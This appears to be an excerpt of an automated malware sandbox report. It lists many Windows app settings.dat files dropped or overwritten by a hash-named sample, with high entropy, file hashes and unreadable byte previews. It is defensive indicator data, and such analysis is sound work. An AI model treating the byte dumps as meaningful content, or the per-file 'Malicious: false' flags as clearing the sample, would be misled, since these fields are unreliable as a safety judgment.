Preview:	regf...}....<....i..........H.v.....l.s....)....8....B....:..-a.....vah.?..p.t....]....\..r...cq.t.......$.1..pYv..Wj..u.N1..... .....D...............2gv.Up..d.......P)e........}.K.../.Cnq.+PM4..&....R..'..a..=s...[c.......x..)Y...7m.#.......y.!vF.....m/.AC..-B...5`.d....[.Ga.l.s6gW.g.i.......6(.T.....]...s..f.U.$k..l.....>\|.D]o....>....}..E.f.....P%....krQ..@.N[.U\.S......o..>.m..i..I.P../..o.tV:..f...b.....}8....\..>....3.....u2......a7k(..1.........]_....K..{.u.3....5J..........\|...$@.g{........G.........a..Z.M....k..u[7.@b.]".3Y.w.}..g(:..:.L.a-`......M..8...\|HR.(#..>...?..U.t.x......=.i.E8.`".#.....Pm...A:G.g.Y.._qL...z..D...[no{.E......w..H...y...Q.F..{...O...._.[SA8..o$...}..[?.....b...o....h?K6.N.I".......`._...p.@9......T.-W.4_........L.....U...]-..=..3.Sx....HG.#.u.....?..=s.$\|Y.t.<..b..>[... .s'....r..w.o>..~+....,{+2.&.{..U6..5...+."..W/......0..6..5q..N.Uw......\UGy3x..R...yE.Xz......[...n...\|...e...2{>C.*.F

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9806926878820255
Encrypted:	false
SSDEEP:	192:dg/1jTCdHmBwlpEQ6DMf+rjHwXzfaBtb1dBe2vYYRHWPdE7KRjKBCRC:a9fXBfSOwX+BtIYgd6KRjrRC
MD5:	F4FC3367A8F0F4A372805B4A569F9670
SHA1:	C6DEF9AD5271AF8623D6D8DA23C44AFA7231F81E
SHA-256:	7CC65E7C8811B329A978D64FE873673A53F3C58F2E5369BE97943F6196FAAAA9
SHA-512:	17B24CC75C13CE3871D70E5ABCCA146544A599B9AFE6121F4A725C05CDAB8EABD67AB215B9253E2993C3C0842B5287A427B344B6B28B1B32E4030E65D6661304
Malicious:	false
Preview:	regf....f.E].y.b....~gH&...'..Kc.3TMng....C.RaX.m...;..>Ws.e.=..W.I....-.......!b.$.{....vm.:&,.2..L.B....d\|E..A5_.,..j.V..-...!....~....qx...wZ....Y.....jv.mJ2...C.%...2J..`%4...l.....%...tM..L^...:.f. .....ub...../..b.O'.D.zP`m4....m.-0(.......H.3......{...:..wT..y..a..X.G..?o....I.P..n`.Xj=(......).P.Dj.#?f....$11u?.....vM.Z.+.j.w_eiP{...!...........9.".O.z...S.~...d.....;[.:..A....)........$7sKY..oa&k...{..P.`..M4.E....3(.....$=6...1.A..r."0..(.........y..i6........".E..q.[.{"........t_O..%...xo...%d.].Tj..[.}`.#.c....K.5..B.Q .3...7.W...'v...m.[t.69....t<[..S..!#..&g..=..:s.@1U.Q.aj....09......yb..........f...Dc B..I@.\...v.]..._G...s..uC.4W)....\...8...H......6fC.PH....{.2"..z.d..N.d..r....T..h#y..~.........l.. ..!.C...Z.p}...."...81M.E/.z..Mr....XA.O.z.T..<.G......V`_....}!#.E.....g.e.7.L.YNra......%...@.......3..(.+C.k...3QX......V\.7.....g...c..W..3.!.._...W.....{t......Sq.+- $.eD.j......1.V.A...2..Y...@.R2.^....@.:'.....E.3B.

C:\Users\user\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977664276444967
Encrypted:	false
SSDEEP:	192:ZxIGb5K/EyMJ7On0usXvrpBYdjddeyHARbNBXEckZG:cg5K/QpOnETpsjddiJ/0ckA
MD5:	AD892822FD197589D6FD1787FDB65477
SHA1:	4A9C359B81A2FCCFEAA32BCCFC3CA1C3E8AD9818
SHA-256:	D37F640BC5CD10C305231949F8857420420F463095F60CE80A5DE07CEA3453D7
SHA-512:	2E45CBCC83772E0E138436F5998C754FB96C9F5E524C1DC9F4D53A67051A1D7A0B25E2936DBB387B2E86689C3853C2A81D3B3C3B4752F756549295FB34BFC12D
Malicious:	false
Preview:	regf......I........Vh..uY....S.`....n..f......a......U{.c.A......"J!...y.}.....D.5.b...t{\L.4E......,[..M.3H.>....T.w.=\h....t..8.tf.9.J.cP.'.,...R.B.x;\|...A.......g..h.@..3.....K....6L".R...w.l'.:F.._..]...B.....?.@..(=.........b.9$.G.c.?}.O....;-\8....;....i...0.VM..[..e.......B..\|.'..6...IN12`..h).......s..A.i6....;k...kt9.....HL1.........fia.n..J,@..u{...; ...Jq.....i...F.RS{..]i...{.G.o.yO..!...gH`.U..........u.{.Y.........K.p6...{.R....,P.....r ..N....f7....B......:> V..Q.D......&.q.0K..E.`..:.[..=Q.$.L.myD.o......h..C.x..,.k..\y.B..l.U....A.[G....U.cq...h.V..........n,..Z.,>0N;._g..0.......L.......p._..wB....s..>....._.z...1.yX.z@Y(......B.tu......cc.O.j.Q..R=....S.V..N...Q...&xd..\|..z..F.3.P\..C...!.......,...Ir..\...4...8.~,.....u.9lv.....z...9...Gz...w.$..k............>3...}.kIE....V.u..F.sI'td._3.w(......7...+.r..nZ...c..8....o............q1;....d...>T"....k....&...D.x.&....SG.x#^._.y.]N<S9w.\...q....73...E....o.U....U.

C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981357878952361
Encrypted:	false
SSDEEP:	192:4D0U+iSeXDmaO15q7ybW/PmCRBP+VnBb/cAVnOJ7:4DZ+kDmaOiaW/Pm8UBb/1OJ7
MD5:	8F1AE062C0036287207EBFB87B632F49
SHA1:	8992B990569A46BC16CCCB8BB3CE0DB3E51ECA73
SHA-256:	679A1A5BB86E3DACDA108ABE7F9F2D2BE2026C28657CDFD1D656CC5E18415E00
SHA-512:	871F5A1E4C8C550B4973C0BDF8A07E89680E9211093B7332C20ECE04D30A5D372098E03F62CE0E759BF1A54D07AE9AEC3E5EBA774827358901FEF45252BC5C25
Malicious:	false
Preview:	regf....\.).gA}...;-:?n..<..\.....V..O4.E1..K..u.]L....v......N...1r...?..?}...rR..^..s..A.w.L..../.M.!u...!B.e.3..~DP....#r.,K'./.....a~...2....M.7.}..R.1.........?....P.k^..l.3..Xe...i..X~..;....{.w..y.R.r".t.w..l.;l...\.D.?l[..v.3w..m...).).F.l).(...[..<lS..t......_..B.ti...."....\#.d...Bm.1.DAF(..?..,...H....j.. .Z.!4.#...!....a..)l.D..}...n.....U0..0.`...o.NH..\|..k.m....+..P5:.n..{.$.!..(...J...M...9[PD...T..m...9y.E..`.l.[.H;$.G..N.c.d.i.+.h....Hr%..)...T}a....T..<..{_p.<t.h.X......1..T4..Loy.b\|.0,..0...5:....>..=E..n8...... X..-.q.u.:....l.%0.w.;..M.........).....@....O...Q#....M..`.K.......~.......t)..sb.:.Lz....bD..a......pXX.Q[:....y..x'..Jn..1..u..V].`....dd.K...w...y.K..2.C.....q.D2\..ds.....U</...f...,A...f..5.G..<...Z..G.>...=L..%.m.g...2'..-..#......'...=&.A....v.....?.3zT....{.l.......uN.X.....c.G.Z..Gg. ...L.!.Z.4_....7fkr/.....y.e....B.........I..9...m.....5-J8.+$.y.5..V.^..I_.@:_.--.E{.<H..%g2T.....y...9...$....J..e,..j.m

C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975478160736121
Encrypted:	false
SSDEEP:	192:3sU6CPYun/ETnhs5iWSTyHpk/y52mcFid24GItbY:3sUNPt8h+if+O6cmcXFI9Y
MD5:	6DD52AD729AFB1559F052A5360229179
SHA1:	5BB25C1060229CA06537552F81D2E48C7209187A
SHA-256:	D5836E65610232996436A8020E7546A9FBDE7ECCD3DE81DE90C0A93570D09EB0
SHA-512:	43F140C399F9228976CFF0EEE5A12410AAD9E97F7CC7B8A84F626CC57B6262F08C1DA6C188247DF1078EA2FB0071AE73CCBD9FAF5177F0A49FAF31CC1FDFAA0C
Malicious:	false
Preview:	regf..../5.....%...@.....WT[.-..L.( {....?Y.e..D...D..c.t..-..:.q2T.P..I.V2..k....O9.#...U;K.B.Y..S..,.d..:.t.u.m....U.%.K...T...T.;...m.&.m...DW.K. 7fq.~u.z.R..B.......t..GT..G.n$d....6{.N7'....K$..!]..A........../.Q.F.$ +U.!cDM..Q.....Cb...SN..J&.. 4...tI:.[<V.k;y...J....I.&F.....el5._..cE..9<..\.....f../K...2)\.g?57`..1....+Q.U.F41..1..k.X..;?.wo.6.}/.-aY..L..v....@...vn.1#.=cN.).e.x.8y3O.>......8Y..5..7}.+.t..h.....o4c#`J....d#o..?.?;...!.z....,R.>...1.j7C.)....V[..U..B ........?>3.bg....<...f4.?B`n........1...7.E..h.H.y..B....us.\s..q............t.F}.....5...8qc...U.d......l...w..H.(...Rn.\e._..zn.....K..&K.=..4.l+.V.S.M.1..S.......@/.f......A.'.3.gB[9.e.,....u{].....Jb>?d%\|..P8d..j..*...i+...y...I....w..+9oW..13..\...,+.7#b..4n&.x........8..H.....t\J.=....7W...^.."...N...ZAxwY.oO.......:..7..C.J..o...k~.B"\.L..M.f..^e.e......I.G..u{`.3........p.k.<A.7JE.U..%.....<.S......(E.m,..!...R.\|.O.c.P..(c4u.1E.I{.{...P..uH.H....w..taa.5.

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97869332520368
Encrypted:	false
SSDEEP:	192:ZnrmOqBQddH3tm4HcpJK1OUA9WBzXdaH8mJLLSyi77T:ZynBQHH3tmGcy1OEBh5uLavT
MD5:	5806E0153BF00F42BDFB84C590F115AE
SHA1:	73075D4E71AE65494ED0F0F0DE2089930C4BB946
SHA-256:	4EC1170FD049350E4D1BC0DEA5CC5CD506E1E663FB5662A4CDFDFD9B1185D547
SHA-512:	EF3215A576E6514A8263BC8FBCE1336097EF9F58F63B13AF980A3C8834042AA8A636A7DFF9F011D53A1B62AABF8B660B4EB0A397E793CF0D33F222FBEF0978DF
Malicious:	false
Preview:	regf.g.._g...!i.....9.......t......W..Q.B.ZK...)..SE.1...J0~...&.v..L^$.%.}....B.}4...j...H.G..yXB.d..d.$&/.....M.......'...)Q.S.7..R........:S...p[CF^.T..x..f..(a.. .-EY...6z!.x@..?.B......(.>.N.`....Vwx.p~.g.....b.Y..w.m5g....;`4..y}.sM.P.......$ Z..T.....D...T.g....i.y....{..F...p....W....."3.g.h.(.2.....~.Ojzhur7..J....V.q ..L.....W...p.[._}.+M.hy....a.)j.A0s)..v_.w.......64X...{k.....{....P..;.r%.../.b...72%............J..4F..r.......).S.)...d\|y.......y.J.q.6..m.A.E....a.....a.S4>.e..O6..2.6.im.W.=.<.....L}..N.?y./..@65C...l.....stD...SM8.h.....B&...pD9....J._G.f..\..s.63..6t...Z...G.'.7.".~;...c.D3.D.mZU#..\.6..........O.nl.....c.....:....Gt.X...k...27.......6...u4@\>....D.$V0x.....e"..6.W\|\..........=2W..{.W..-O.v[a..Z...;..P........h..\|D....y.._..F..i5...h.[..4.P..?uX.XK..\Y.!.~e.>n....q^....A.rTPC.......G..j...0...p.......L...t>..b.....Cu..vS,~..;G.$.....s.^J.6(q.=8.$}%....%eMl....&..U4O.7w..+.m.8@. f..w.....W;..g.E..6M.

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980377410338373
Encrypted:	false
SSDEEP:	192:smWOONb7tooJHC+z7sV5Zn//uj/Jl4RCHiOvvNjXjeS23sYGkW:gNbPZz4VXnudl4Rh8Xjf2cYzW
MD5:	0979D0373D326F8500D8777936237D46
SHA1:	0F2ED85C6A52279125EBB35008F4F6D5B97C221C
SHA-256:	E968E9956C82FB509C71C80F63CDF2086E18E554416DE775C5A73414E97BA8A5
SHA-512:	62F89BE70826006D1A5333D14252D02E062D7B24DD181461E5806F9B3E349A05282DAA0E7CE79E44FB74447EA57CCBEE00CD82E3ADA061D812F213B05C8F3C89
Malicious:	false
Preview:	regf...........<.........kNX..t..g.S<.Y...m..;..i..Iy..J...^..3A?Z..Y.@2.....F..n.5.>.d.....M..BY.Q(..!....Cy..BZ...&U.V..U...aVR.{..'..6G.".."8..M....G..Oa^0}..:.........=.o..1......;.....^t..pR..>`.@...M.fg>.WJW...(.^...i.SP.\|a..x...a..^O7.p...X....SaU..B..\C(..;.#.t.5....'gT..~....Tf.!..{....t....o4....G..g.\.e.R..s6...2#..(......,....~r#^..EV.H5o.4kb..........:.C......d..U.^f..;Bt.+J}.9ft...@..f..,..p,>.i..WN.\.C.}>...'.[.....'.:}...Q....4XA.U..%.f..1.w?.........(."E#t..I.k...%..F].....R=..Brw.....%...P.&.j.X...&...K..e.@{.....+....5...x.^.0cZ.=....>`.E".`..5...PB._e.P..n1.;..X.&]5=Ea..-.....i{..TD.)..<V...K....I=m..s.4vw...l..l.CTTa:;.._4RB". .@....~\|......).X.L..0.../.$.j.E.P.....y9*...J}S:......+.....8...z.'.s.Q........;...>._.!(@6.`..7....r.O.....?C.d..a..T....W...Ao(.7f.f.7.qE..w..R..3..........%......fy...P....XM.P.oC~.Y..7.....=.y..8..c.5f....:.cU."7e.H.6......?A...x<.,.L>.t.y...^S.<u.....D.....dn..p......S..`..y&8H

C:\Users\user\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976304754715148
Encrypted:	false
SSDEEP:	192:V3ADYE7as9hxlGrP8YERw8OfyH9hC5t8Yva9:5Ak43lgP5Uw3fydhC5t8YC9
MD5:	A78C5AB817CF091BF36082214DB75E57
SHA1:	AFE3FB958CBEE113EC6CC487C43F93584B59FD03
SHA-256:	F90E8A57E110C4C6786468C1DC3CB6D504BDB70D3AB225F25EC30F83650D02BD
SHA-512:	FEA53ABCCB86579FA7F9D95987F7AF5D9F3CA255857A4B6926C0E57CFEEBE8E53F5CC0F271564D7C98996F770F7F5635AAAA6206C854803D89B6DBAA579F5B6E
Malicious:	false
Preview:	regf.q36.L..[Q......Z..+..B........3p.Qp.....+.....'....D..6..3.QuG..........!...)t......r.\.p..._.8.k.w#k.=.&u.$..;.k6./..DU.Z..(..B.~........(....LS.[.....J.....e.G.Y1...zB;.r...(....U.O#..8...B.<+9<.%.......#..l......%....Z...A....s.q7T,.gZvG1.......w...AA.E...&\|...1.y.o..T.x.i^.....p...Co.K.n..=u[z...;.D..f.x.r.[t.r%8k![M.%\|..'.U\..v.$.P.........C.r.b_........w......y..a...q_.a.[C.44._w. Ts./.U..2.]...+...W...C_..........&G...P...z....O.....I..S.7J...z...#,.;.+.\.G...F#&.....##E..9..>.g.Q3..@G_.`n.9~........{.$H.?\.}%Ic.3.Q.....A..:.8...Z.X.KAS....DD2{..$....U....r.1.8.$....I.I.c-.t..(....Ik.E...N'...V.^.......\|W..o[[.......A....ql!v{i....A\|.a.,(*.}...N..cB.u..K....c........E.......\|/w...u.g.W.#.~UP<}z$...M.)...L!B.. ."........yy...N.....?.....B...i.OFT.h.VM....Z".cL..5k? \|......@..%.n...)..y.?}N..c...{.4.......]S..N"...{8.a..d.7.-.......F.k...$.....Y,..y=..8....2...._.z..N...EB....$.!...x .B.R....._...SuM@o.q\|..^.'V...9z.Q...\|..n.,u

C:\Users\user\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976735487350228
Encrypted:	false
SSDEEP:	192:vWXQLvEYAb7veD4JmeNTLdQV9Cgs6mWB9InQ5yBrJYQwY:vWXIHs/MeNdQV97mWBdmrWg
MD5:	38AB21C49CEA00FCD642A3AA36435D33
SHA1:	9FB64F649833A1BDD093FD8F32FC8A62453B9640
SHA-256:	4FEE724261CE90987DA7A236F0C5BBB40E542B273AB00EE71ED73B6B545437C4
SHA-512:	0DA4BBA76B71200EACCDC8236567CE705E2E9E3251F98BEACA5726A0C553AB9447BEFC61BA20E6E8C693D367548618AB11D76C0301DC962C0EDDA7D4027D7BE2
Malicious:	false
Preview:	regf..d&}.{.'...j..+.Q..@..;.A[-x.)=...d.\|!...#.r.L.n.w...V.Z[.......x..PO[...C.....xk}..F...p1..F...._.:%U\|...!.Uu#~..5......-0..>...3..o:(5M.....Q.....:....4...E...p.%l.3Y.s..........@a.l......5.b........_.....%..y....8....T2.\|G.fZ........6...^/..s.....A.G2r...h`b..[...\|.-]2...sEZ.....P.w.l.g.....n..i$.....^.t.....c.x9..}+^(.(..H,.;G...G...z..C..Nw.. .B..w.P.&..[.y.(..\|.FYR. ..%.3.u.....s..\i.....%lo.eq.<v...Z.+B..[....p.....?\|%..M..N..Un.Z......H8..04Q.G..-';k.Yj.f..f.1.^.XVN......$.....B.....c.x`...<..`T...3%..._.....<..'.....^%72.\|t..n"...#..<..!K.F.k.0fUd.>.I..M....j9w............gT.....4...E..n.5P...i..`.)...i....*...C@N..9.L....LOO[...j."_.}.......I.q........ .....{....1.......;..W8> ..o.x+.P..9.3gG..wI..y.DK..@...s..Y.rcr..wN....W...,.....o<...e.N?z...3..0 .SH.....b...8y.q;SX.j.....\|/......)"..g......E.H......7..).8]..l.Z1..R..xT..J.7H..g9.....17.l....P.J...<.f.C.,...PA.....fw.+.})i......VCuG..;..Z....GB..}......].:.

C:\Users\user\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975287879488723
Encrypted:	false
SSDEEP:	192:sHmJr6ulc9795Ii6nZiicRbSIYU722Of1A1lT08:dP85IcSpRfST08
MD5:	66BE3523B67166C0D0046DD3B0488154
SHA1:	D6182ACD3D3418D7866C9F0F30F4110293E343E6
SHA-256:	590C19ABFF939266CDEC44061DCD16DB8AE783D4E955FBB8084A6DDFC5B0D2E0
SHA-512:	D77C1210C4E79113E712BB0181E4FBDC30DC604578950D171ADC97EB6EE464A461F2A492189F6D1787D1961023E930BA3E166B0EB1021B19FE9C8FB56F5750F2
Malicious:	false
Preview:	regf....K...:P....e.z.D.x...}Y...ej6...b-...1`...... .,..br.K..$..6.i.J...9.u.I.....=.'DE.?.\|:Qf..v..:......l.Z.I6K(.5,...\|...!...z.....M....]$%Nf..a...w'xe.]..MwO.Q...B..]J..l.g.c....)V...v.C.....B.RG...^.Nf...0.>?3c...,.s......KE..(.....\|.v..p....8..y{c.......-$..&.D.ybB...hf...{I..'..5}.H..Au .....9....$..]$>B. ..R#.A<...7..?.i.L.#H(t.r.G.."......V..Q.z.e<9q../#D..h#6...V..L...z.u.7'.j@ .{>...ee.T.....^Bh.:GB.&....Wz..../.j...I...)...6U2......F~....g....'.:.Z.9Vy.........P(.;d..L.....u..*=\|$.}.aW;...+.l..y.m.1..,....+.J..G\..W..L.?...U.sB.<.b.dp;L......:...k.P.......`.u....v.00.+...kML.(u..%..<.@6..I1f.P{.Az.h.z:.vp...)..3..X....":.X.....w.\...@.iP_.e.e.y.;[.1.?I,(.s.$..QY,.5.C6...5.j...Q..m.....u...Jx.....i.....:..p=i.zo...Wk.>......Qd./.1.}..24;.E.)..V......`......1.. Jh..W?.e...]9p..iKKl...w#jk>...t.. ...N[..+@.E....i...0.t.Z.v...........m.#...=..Y..4j ..h.....s..{+..w....fxc.C,c<.W.....:\|k....j.:t1..\|d...y... .l.(".

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979663414116154
Encrypted:	false
SSDEEP:	192:oWQ894DBN3xTwTF5HcbBazyXCjZFKsiKmK1c2V7SW3CrrDNHJwbA1ctcYS:oWf94Df3iTF5HckzIgsCZu+wCbA1cvS
MD5:	4F8B5C882D7F5337420BFD642E068078
SHA1:	E340C1517CE1E7CC75603703E4CA690786824110
SHA-256:	311738AAF9ECCE2C5D21BF57BDD8AB7D8BAE19F164610834F5DFE589B3570C66
SHA-512:	B7F9C388519BFF29507964C81A699076204FB52C77C5F6F1D9A8B00FF3A1B5B659C4A9F536C47210E8E87B3ED1DEFFC9385FB6390E435D4F938E9EB34F399A7E
Malicious:	false
Preview:	regf..Z...k\..../..{....Its..s.....0..Uk.>...,zB.....~...l.Dt...[....P.4......#.,V..q,.a..[A..k!..%.z"v.M`.....o.........A.......@Ijj...g....>....D.C...>.J/..z..;J...EP.F...t...c+.M..>.KG.^...ni..S..%.x.........9.wg.-.......a!.Z..GT-f...n.S./F..S@...9#P...z....S..V..c.......~....;.......VE.`\G$..fd..(~.t...i..].......+x...C..=.Kj}...hS...4..[^XB ..9S&.....O[v%..s,....8....2..zb.Q..h.5N.8.4..k ...g.k....G_...r......%X0..m0..{.....f ....{:....g?.H/%...O.....Pq......E...\_..w.[]..o6.1R....Y.6~bu...=:l...P.'c..9/..wYX...YQ.KR.Z`..u.}.#&.1.b...P.l..s.\|~.......q^q......a...z.)h...v...H.....%..-O(R&V......7..J...g^ Yo.L./x@.j.x&9.h...-.=..;.ONt..Xz.U...._]-<..h..`~.fLvj.Y.qD..h.......)..q.v..\|j........S..B(.Y.....(.....^..f...L...}..b.......A.4"}.C....Ab...$}...2.v..:i_.-...m.V..S.u..... p.n.\]Kg.:...y5.E..\?nR..c*...e..G..MB.....j..6._1..Y..s..0y+b..Z..QM..A=.......A.N....N..'.u..g<\......[..G...B...m..mk1....5...`.l......JV...#..L.X..L~.l]

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97767917045846
Encrypted:	false
SSDEEP:	192:AHjbkpNBYBHp68ogmr6bhrfnho5uXoUQNg4hxvPIQ3Nqe+ZeYlD:WkpQUyvqiQNgyxvPZbZgD
MD5:	8702122769CC1D136A9546058E875606
SHA1:	306CD01527B4DCF5E1C32700DC26C376639C67F1
SHA-256:	1CE1C5B525C294341CC19ABE9EA040DEE3AEA07B2E9B1420A11D935526E90DA0
SHA-512:	06C9517212696D0FDB8F42F3E4734A12D5DF20560A406C3DEBB334D0E5E40CAF2D980BC305F3177DC2F6975A59526F7E5F078E26A2A7DF768FD1728D8F3B9E73
Malicious:	false
Preview:	regf.b..}...v..i..].9.N..S..t.B.p...<..t.nu.`e.5J.W...; M.\~. ..<...J(%E.Q....+P....!....:....-J.U.......^wx.S<m..\|.z...+\.....>.......o...I...J...?.."...Kz........hTE%...#.(..'.F......C.T8....M...o..r.B..G...]T..2.h../9<1D..p.<%..).........?JF...w..z.lcy]6>.&i+....i.F...v:.".#.J..z6.....e.WE.u......L.~.`.e.#...k.k.cc...^i.+Y..y.e. .Eis%6[`.#....V..7p..o!%3o~...&..K....B.....\(..G..3.#.$.?.`....[uV?.NZ...c....wX.w_?...3"..)R..A..o6r...N[.g....a...x.l^....J:..<T,.$..a....X...;AK.P..l-..5o.*.......Qh..$P_......\|r...).4..(g$..S.@.#.N..]......W.l..uT.l.h...^^....W...G.'..b...<-...\|....\|.#r.....e.....q........W8....$....a.s...4.o..u..."..c...,J=XY.Io5.....l5._.T.i...Jz.9..<.+..O..q..n @.......Z..M.B)1......e....aN@.G.%...[.'..f.S..W%bR.k.r....k.....D.._B.mwV......?D.....U......~ .....z....I&.U.V.I.@>1....../.2..k$...7.L.....7..,..9Q.u.k/\|.:...].....~.m....4V+.H.../0...vQ-..<.....P\\|]y...d...C....p;F?.....E......'..MP...^.5m..kU..

C:\Users\user\AppData\Local\Packages\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976539214970183
Encrypted:	false
SSDEEP:	192:9VTDjZz3hXb+hTfMRe63NBcPKISx+1LMtKivY0W8AR:LDZz3hXb+9Mj3N+PKIB15PXFR
MD5:	28AF3996EFFFD8ACE9B2A5AD61F43DE0
SHA1:	BABB874872D6AAC6FED5B805A8E7EE89970AAA16
SHA-256:	1C6EF7FB01D90E5F2D640CF1D340021575462FB7EF8B40AD4B1F7D5F992F4509
SHA-512:	66BDE84141C6BB568C04E4A96C5A08A2EBC41B0B25B2A16F06D565F8B14751F5938A9BCD800799CAB81D5DE482845217C2CA3FE8CD700B74FBD0ACA91BFF588C
Malicious:	false
Preview:	regf...5R\Q.~....V]_}.(_...C.......5{....-.fX.C.A......WXE.&W.d.d.K..P".d...\|... ...W...p..C.......Sz.h.)[}....U.....b.;.Q.dg%..9"~..`\d.O..&.>.?..o..d.q....v..c..D..i/.K........V..q.....Z.F..B_p..j.+u`5.+c1./..w..`{E...A..@.....w......WFn...%q...-.B{..c..QD.#..:[R.;..mp.......Wc..u.d.v.d.Kq..4...F..oD.VJ}..c.N.67#.j...0h.bD.=.-..'.'.v3TBT.VX...!.`......v.?Ad..&...r..e.).I....P.K%...f.0ii.Y....{..k1..M.N.^.B.^~...TH.=..7....d...{A..CS?.{...k..c...Q/OK@......S....).z../.Iz....bOI.....Hy....3[\...)."8rn3,2..z.b.n.9.B.A..1....~c9,./2}3...b.t....\|._X.16..Yb.q...\.{..........mN...h.8..gG.{...$..i........9]M...aO.......O..UkK....#.qM.:.Oqji....`q../.H.<....e....@u"o:k....=U1..xj".......A5...d..rQ...J......H.g.......M?P..:.......'o.{]]F..O..d.;.j......[.q/ #...70.....Zu.L...1..w...u..K...n...x..2..P..8...i)...m..*.i.].B..R...a..`..Q.c.z.C...f.E=.O.EMW..BS..-r.:0..i.Aq..o..2..'.uX..6.U.&..&.D.....)&...@\|V....p....A.x..0..._......."~/hx..N.X....

C:\Users\user\AppData\Local\Packages\NcsiUwpApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975793776157043
Encrypted:	false
SSDEEP:	192:sOamStWTfHjz+h7FVE8hCMf4OflWMlKxZ958Gj0b2f9:syrTv3A7MZwlWrZIGLl
MD5:	4B8A7C91D95D7F3C70F01E736BDBE20B
SHA1:	B839DD4C244D7C895816C702293C5A2FD59966AF
SHA-256:	A4E7BD0628F6EB292680B1CF4CEE3AB724B46DEF8DD880ADB2759F0978910C77
SHA-512:	7E2B3CAAE05F4084DA7F63F8E86BC57FD545C578530B2AE727E355556784C3EE84DCD997BD8B07F7E27FB79E646BD5AC99F4C198EF33E68DA831F3D33123BEA6
Malicious:	false
